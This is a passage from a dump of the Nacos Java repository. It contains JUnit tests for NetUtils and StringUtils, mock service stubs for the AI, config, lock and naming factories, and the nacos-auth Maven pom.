    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.utils;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.net.InetAddress;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass NetUtilsTest {\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        Class<?> clazz = Class.forName(\"com.alibaba.nacos.api.utils.NetUtils\");\n        Field field = clazz.getDeclaredField(\"localIp\");\n        field.setAccessible(true);\n        field.set(null, \"\");\n        System.clearProperty(\"com.alibaba.nacos.client.local.ip\");\n        System.clearProperty(\"com.alibaba.nacos.client.local.preferHostname\");\n        System.clearProperty(\"java.net.preferIPv6Addresses\");\n    }\n    \n    @Test\n    void testLocalIpWithSpecifiedIp() {\n        System.setProperty(\"com.alibaba.nacos.client.local.ip\", \"10.2.8.8\");\n        assertEquals(\"10.2.8.8\", NetUtils.localIp());\n        System.setProperty(\"com.alibaba.nacos.client.local.ip\", \"10.2.8.9\");\n        assertEquals(\"10.2.8.8\", NetUtils.localIp());\n    }\n    \n    @Test\n    void testLocalIpWithPreferHostname() throws Exception {\n        InetAddress inetAddress = invokeGetInetAddress();\n        String hostname = inetAddress.getHostName();\n        System.setProperty(\"com.alibaba.nacos.client.local.preferHostname\", \"true\");\n        assertEquals(hostname, NetUtils.localIp());\n    }\n    \n    @Test\n    void testLocalIpWithoutPreferHostname() throws Exception {\n        InetAddress inetAddress = invokeGetInetAddress();\n        String ip = inetAddress.getHostAddress();\n        assertEquals(ip, NetUtils.localIp());\n    }\n    \n    @Test\n    void testLocalIpWithException() throws Exception {\n        Field field = System.class.getDeclaredField(\"props\");\n        field.setAccessible(true);\n        Properties properties = (Properties) field.get(null);\n        Properties mockProperties = mock(Properties.class);\n        when(mockProperties.getProperty(\"java.net.preferIPv6Addresses\")).thenThrow(new RuntimeException(\"test\"));\n        field.set(null, mockProperties);\n        try {\n            System.setProperty(\"java.net.preferIPv6Addresses\", \"aaa\");\n            InetAddress expect = InetAddress.getLocalHost();\n            assertEquals(expect.getHostAddress(), NetUtils.localIp());\n        } finally {\n            field.set(null, properties);\n        }\n    }\n    \n    private InetAddress invokeGetInetAddress() throws Exception {\n        Class<?> clazz = Class.forName(\"com.alibaba.nacos.api.utils.NetUtils\");\n        Method method = clazz.getDeclaredMethod(\"findFirstNonLoopbackAddress\");\n        method.setAccessible(true);\n        return (InetAddress) method.invoke(null);\n    }\n    \n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/utils/StringUtilsTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass StringUtilsTest {\n    \n    @Test\n    void testIsEmpty() {\n        assertTrue(StringUtils.isEmpty(null));\n        assertTrue(StringUtils.isEmpty(\"\"));\n        assertFalse(StringUtils.isEmpty(\" \"));\n        assertFalse(StringUtils.isEmpty(\"bob\"));\n        assertFalse(StringUtils.isEmpty(\"  bob  \"));\n    }\n    \n    @Test\n    void testIsBlank() {\n        assertTrue(StringUtils.isBlank(null));\n        assertTrue(StringUtils.isBlank(\"\"));\n        assertTrue(StringUtils.isBlank(\" \"));\n        assertFalse(StringUtils.isBlank(\"bob\"));\n        assertFalse(StringUtils.isBlank(\"  bob  \"));\n    }\n    \n    @Test\n    void testTrim() {\n        assertNull(StringUtils.trim(null));\n        assertEquals(StringUtils.EMPTY, StringUtils.trim(\"\"));\n        assertEquals(StringUtils.EMPTY, StringUtils.trim(\"     \"));\n        assertEquals(\"abc\", StringUtils.trim(\"abc\"));\n        assertEquals(\"abc\", StringUtils.trim(\"    abc    \"));\n    }\n    \n    @Test\n    void testEquals() {\n        assertTrue(StringUtils.equals(null, null));\n        assertFalse(StringUtils.equals(null, \"abc\"));\n        assertFalse(StringUtils.equals(\"abc\", null));\n        assertTrue(StringUtils.equals(\"abc\", \"abc\"));\n        assertFalse(StringUtils.equals(\"abc\", \"ABC\"));\n        assertTrue(StringUtils.equals(new StringBuilder(\"abc\"), \"abc\"));\n        assertFalse(StringUtils.equals(new StringBuilder(\"ABC\"), \"abc\"));\n    }\n    \n    @Test\n    void testRegionMatchesEqualsCaseSensitive() {\n        assertTrue(StringUtils.regionMatches(\"abc\", false, 0, \"xabc\", 1, 3));\n        \n    }\n    \n    @Test\n    void testRegionMatchesEqualsCaseInsensitive() {\n        assertTrue(StringUtils.regionMatches(\"abc\", true, 0, \"xabc\", 1, 3));\n        assertTrue(StringUtils.regionMatches(\"abc\", true, 0, \"xAbc\", 1, 3));\n    }\n    \n    @Test\n    void testRegionMatchesNotEqualsCaseSensitive() {\n        assertFalse(StringUtils.regionMatches(\"abc\", false, 0, \"xAbc\", 1, 3));\n        assertFalse(StringUtils.regionMatches(\"abc\", false, 0, \"xCbc\", 1, 3));\n        \n    }\n    \n    @Test\n    void testRegionMatchesNotEqualsCaseInsensitive() {\n        assertFalse(StringUtils.regionMatches(\"abc\", true, 0, \"xCab\", 1, 3));\n    }\n    \n    @Test\n    void testRegionMatchesEqualsCaseSensitiveForNonString() {\n        assertTrue(StringUtils.regionMatches(new StringBuilder(\"abc\"), false, 0, \"xabc\", 1, 3));\n        \n    }\n    \n    @Test\n    void testRegionMatchesEqualsCaseInsensitiveForNonString() {\n        assertTrue(StringUtils.regionMatches(new StringBuilder(\"abc\"), true, 0, \"xabc\", 1, 3));\n        assertTrue(StringUtils.regionMatches(new StringBuilder(\"abc\"), true, 0, \"xAbc\", 1, 3));\n    }\n    \n    @Test\n    void testRegionMatchesNotEqualsCaseSensitiveForNonString() {\n        assertFalse(StringUtils.regionMatches(new StringBuilder(\"abc\"), false, 0, \"xAbc\", 1, 3));\n        assertFalse(StringUtils.regionMatches(new StringBuilder(\"abc\"), false, 0, \"xCbc\", 1, 3));\n        \n    }\n    \n    @Test\n    void testRegionMatchesNotEqualsCaseInsensitiveForNonString() {\n        assertFalse(StringUtils.regionMatches(new StringBuilder(\"abc\"), true, 0, \"xCab\", 1, 3));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/client/ai/NacosAiService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai;\n\nimport com.alibaba.nacos.api.ai.AiService;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosAgentCardListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosMcpServerListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosPromptListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosSkillListener;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Collection;\nimport java.util.Properties;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Mock Naming Service for test {@link com.alibaba.nacos.api.ai.AiFactory}.\n *\n * @author xiweng.yy\n */\npublic class NacosAiService implements AiService {\n    \n    public static final AtomicBoolean IS_THROW_EXCEPTION = new AtomicBoolean(false);\n    \n    public NacosAiService(Properties properties) throws NacosException {\n        if (IS_THROW_EXCEPTION.get()) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, \"mock exception\");\n        }\n    }\n    \n    @Override\n    public McpServerDetailInfo getMcpServer(String mcpName, String version) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public String releaseMcpServer(McpServerBasicInfo serverSpecification, McpToolSpecification toolSpecification,\n            McpEndpointSpec endpointSpecification) throws NacosException {\n        return \"\";\n    }\n    \n    @Override\n    public void registerMcpServerEndpoint(String mcpName, String address, int port, String version)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void deregisterMcpServerEndpoint(String mcpName, String address, int port) throws NacosException {\n    \n    }\n    \n    @Override\n    public McpServerDetailInfo subscribeMcpServer(String mcpName, String version,\n            AbstractNacosMcpServerListener mcpServerListener) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void unsubscribeMcpServer(String mcpName, String version, AbstractNacosMcpServerListener mcpServerListener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n    \n    }\n    \n    @Override\n    public AgentCardDetailInfo getAgentCard(String agentName, String version, String registrationType)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void releaseAgentCard(AgentCard agentCard, String registrationType, boolean setAsLatest)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void registerAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n    \n    }\n    \n    @Override\n    public void registerAgentEndpoint(String agentName, Collection<AgentEndpoint> endpoints) throws NacosException {\n    \n    }\n    \n    @Override\n    public void deregisterAgentEndpoint(String agentName, AgentEndpoint endpoint) throws NacosException {\n    \n    }\n    \n    @Override\n    public AgentCardDetailInfo subscribeAgentCard(String agentName, String version,\n            AbstractNacosAgentCardListener agentCardListener) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void unsubscribeAgentCard(String agentName, String version, AbstractNacosAgentCardListener agentCardListener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public com.alibaba.nacos.api.ai.model.skills.Skill loadSkill(String skillName) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public com.alibaba.nacos.api.ai.model.skills.Skill subscribeSkill(String skillName,\n            AbstractNacosSkillListener skillListener) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void unsubscribeSkill(String skillName, AbstractNacosSkillListener skillListener)\n            throws NacosException {\n    }\n    \n    @Override\n    public Prompt getPrompt(String promptKey) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Prompt getPromptByVersion(String promptKey, String version) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Prompt getPromptByLabel(String promptKey, String label) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Prompt subscribePrompt(String promptKey, String version, String label,\n            AbstractNacosPromptListener promptListener) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void unsubscribePrompt(String promptKey, String version, String label,\n            AbstractNacosPromptListener promptListener) throws NacosException {\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/client/config/NacosConfigService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config;\n\nimport com.alibaba.nacos.api.config.ConfigService;\nimport com.alibaba.nacos.api.config.filter.IConfigFilter;\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Properties;\nimport java.util.Set;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Mock Naming Service for test {@link com.alibaba.nacos.api.config.ConfigFactory}.\n *\n * @author xiweng.yy\n */\npublic class NacosConfigService implements ConfigService {\n    \n    public static final AtomicBoolean IS_THROW_EXCEPTION = new AtomicBoolean(false);\n    \n    public NacosConfigService(Properties properties) throws NacosException {\n        if (IS_THROW_EXCEPTION.get()) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, \"mock exception\");\n        }\n    }\n    \n    @Override\n    public String getConfig(String dataId, String group, long timeoutMs) throws NacosException {\n        return \"\";\n    }\n    \n    @Override\n    public String getConfigAndSignListener(String dataId, String group, long timeoutMs, Listener listener)\n            throws NacosException {\n        return \"\";\n    }\n    \n    @Override\n    public void addListener(String dataId, String group, Listener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public boolean publishConfig(String dataId, String group, String content) throws NacosException {\n        return false;\n    }\n    \n    @Override\n    public boolean publishConfig(String dataId, String group, String content, String type) throws NacosException {\n        return false;\n    }\n    \n    @Override\n    public boolean publishConfigCas(String dataId, String group, String content, String casMd5) throws NacosException {\n        return false;\n    }\n    \n    @Override\n    public boolean publishConfigCas(String dataId, String group, String content, String casMd5, String type)\n            throws NacosException {\n        return false;\n    }\n    \n    @Override\n    public boolean removeConfig(String dataId, String group) throws NacosException {\n        return false;\n    }\n    \n    @Override\n    public void removeListener(String dataId, String group, Listener listener) {\n    \n    }\n    \n    @Override\n    public String getServerStatus() {\n        return \"\";\n    }\n    \n    @Override\n    public void addConfigFilter(IConfigFilter configFilter) {\n    \n    }\n    \n    @Override\n    public void shutDown() throws NacosException {\n    \n    }\n    \n    @Override\n    public void fuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher watcher) throws NacosException {\n    \n    }\n    \n    @Override\n    public void fuzzyWatch(String dataIdPattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public Future<Set<String>> fuzzyWatchWithGroupKeys(String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Future<Set<String>> fuzzyWatchWithGroupKeys(String dataIdPattern, String groupNamePattern,\n            FuzzyWatchEventWatcher watcher) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher watcher) throws NacosException {\n    \n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String dataIdPattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException {\n        \n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/client/lock/NacosLockService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.lock;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.lock.LockService;\nimport com.alibaba.nacos.api.lock.model.LockInstance;\n\nimport java.util.Properties;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Mock Naming Service for test {@link com.alibaba.nacos.api.lock.NacosLockFactory}.\n *\n * @author xiweng.yy\n */\npublic class NacosLockService implements LockService {\n    \n    public static final AtomicBoolean IS_THROW_EXCEPTION = new AtomicBoolean(false);\n    \n    public NacosLockService(Properties properties) throws NacosException {\n        if (IS_THROW_EXCEPTION.get()) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, \"mock exception\");\n        }\n    }\n    \n    @Override\n    public Boolean lock(LockInstance instance) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Boolean unLock(LockInstance instance) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Boolean remoteTryLock(LockInstance instance) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Boolean remoteReleaseLock(LockInstance instance) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n    \n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/client/naming/NacosNamingService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.NamingService;\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.listener.FuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.api.selector.AbstractSelector;\n\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Mock Naming Service for test {@link com.alibaba.nacos.api.naming.NamingFactory}.\n *\n * @author xiweng.yy\n */\npublic class NacosNamingService implements NamingService {\n    \n    public static final AtomicBoolean IS_THROW_EXCEPTION = new AtomicBoolean(false);\n    \n    public NacosNamingService(String serverAddr) throws NacosException {\n        if (IS_THROW_EXCEPTION.get()) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, \"mock exception\");\n        }\n    }\n    \n    public NacosNamingService(Properties properties) throws NacosException {\n        if (IS_THROW_EXCEPTION.get()) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, \"mock exception\");\n        }\n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String ip, int port) throws NacosException {\n    \n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String groupName, String ip, int port) throws NacosException {\n    \n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String ip, int port, String clusterName) throws NacosException {\n    \n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String groupName, String ip, int port, String clusterName)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void registerInstance(String serviceName, Instance instance) throws NacosException {\n    \n    }\n    \n    @Override\n    public void registerInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n    \n    }\n    \n    @Override\n    public void batchRegisterInstance(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void batchDeregisterInstance(String serviceName, String groupName, List<Instance> instances)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String ip, int port) throws NacosException {\n    \n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String groupName, String ip, int port) throws NacosException {\n    \n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String ip, int port, String clusterName) throws NacosException {\n    \n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String groupName, String ip, int port, String clusterName)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, Instance instance) throws NacosException {\n    \n    }\n    \n    @Override\n    public void deregisterInstance(String serviceName, String groupName, Instance instance) throws NacosException {\n    \n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, boolean subscribe) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName, boolean subscribe)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, List<String> clusters) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName, List<String> clusters)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, List<String> clusters, boolean subscribe)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> getAllInstances(String serviceName, String groupName, List<String> clusters,\n            boolean subscribe) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, boolean healthy) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, boolean healthy) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, boolean healthy, boolean subscribe)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, boolean healthy, boolean subscribe)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, List<String> clusters, boolean healthy)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, List<String> clusters, boolean healthy)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, List<String> clusters, boolean healthy, boolean subscribe)\n            throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public List<Instance> selectInstances(String serviceName, String groupName, List<String> clusters, boolean healthy,\n            boolean subscribe) throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, boolean subscribe) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName, boolean subscribe)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, List<String> clusters) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName, List<String> clusters)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, List<String> clusters, boolean subscribe)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Instance selectOneHealthyInstance(String serviceName, String groupName, List<String> clusters,\n            boolean subscribe) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void subscribe(String serviceName, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void subscribe(String serviceName, String groupName, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void subscribe(String serviceName, List<String> clusters, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void subscribe(String serviceName, String groupName, List<String> clusters, EventListener listener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void subscribe(String serviceName, NamingSelector selector, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void subscribe(String serviceName, String groupName, NamingSelector selector, EventListener listener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, List<String> clusters, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, List<String> clusters, EventListener listener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, NamingSelector selector, EventListener listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void unsubscribe(String serviceName, String groupName, NamingSelector selector, EventListener listener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public void fuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void fuzzyWatch(String serviceNamePattern, String groupNamePattern, FuzzyWatchEventWatcher listener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public Future<ListView<String>> fuzzyWatchWithServiceKeys(String groupNamePattern, FuzzyWatchEventWatcher listener)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public Future<ListView<String>> fuzzyWatchWithServiceKeys(String serviceNamePattern, String groupNamePattern,\n            FuzzyWatchEventWatcher listener) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher listener) throws NacosException {\n    \n    }\n    \n    @Override\n    public void cancelFuzzyWatch(String serviceNamePattern, String groupNamePattern, FuzzyWatchEventWatcher listener)\n            throws NacosException {\n        \n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize, String groupName) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize, AbstractSelector selector)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public ListView<String> getServicesOfServer(int pageNo, int pageSize, String groupName, AbstractSelector selector)\n            throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public List<ServiceInfo> getSubscribeServices() throws NacosException {\n        return Collections.emptyList();\n    }\n    \n    @Override\n    public String getServerStatus() {\n        return \"\";\n    }\n    \n    @Override\n    public void shutDown() throws NacosException {\n    \n    }\n}\n"
  },
  {
    "path": "auth/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    \n    <parent>\n        <groupId>com.alibaba.nacos</groupId>\n        <artifactId>nacos-all</artifactId>\n        <version>${revision}</version>\n        <relativePath>../pom.xml</relativePath>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n    \n    <artifactId>nacos-auth</artifactId>\n    <packaging>jar</packaging>\n    <name>nacos-auth ${project.version}</name>\n    <url>https://nacos.io</url>\n\n    <dependencies>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-common</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.nacos</groupId>\n            <artifactId>nacos-auth-plugin</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-sys</artifactId>\n        </dependency>\n    \n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.tomcat.embed</groupId>\n            <artifactId>tomcat-embed-core</artifactId>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/AbstractProtocolAuthService.java",
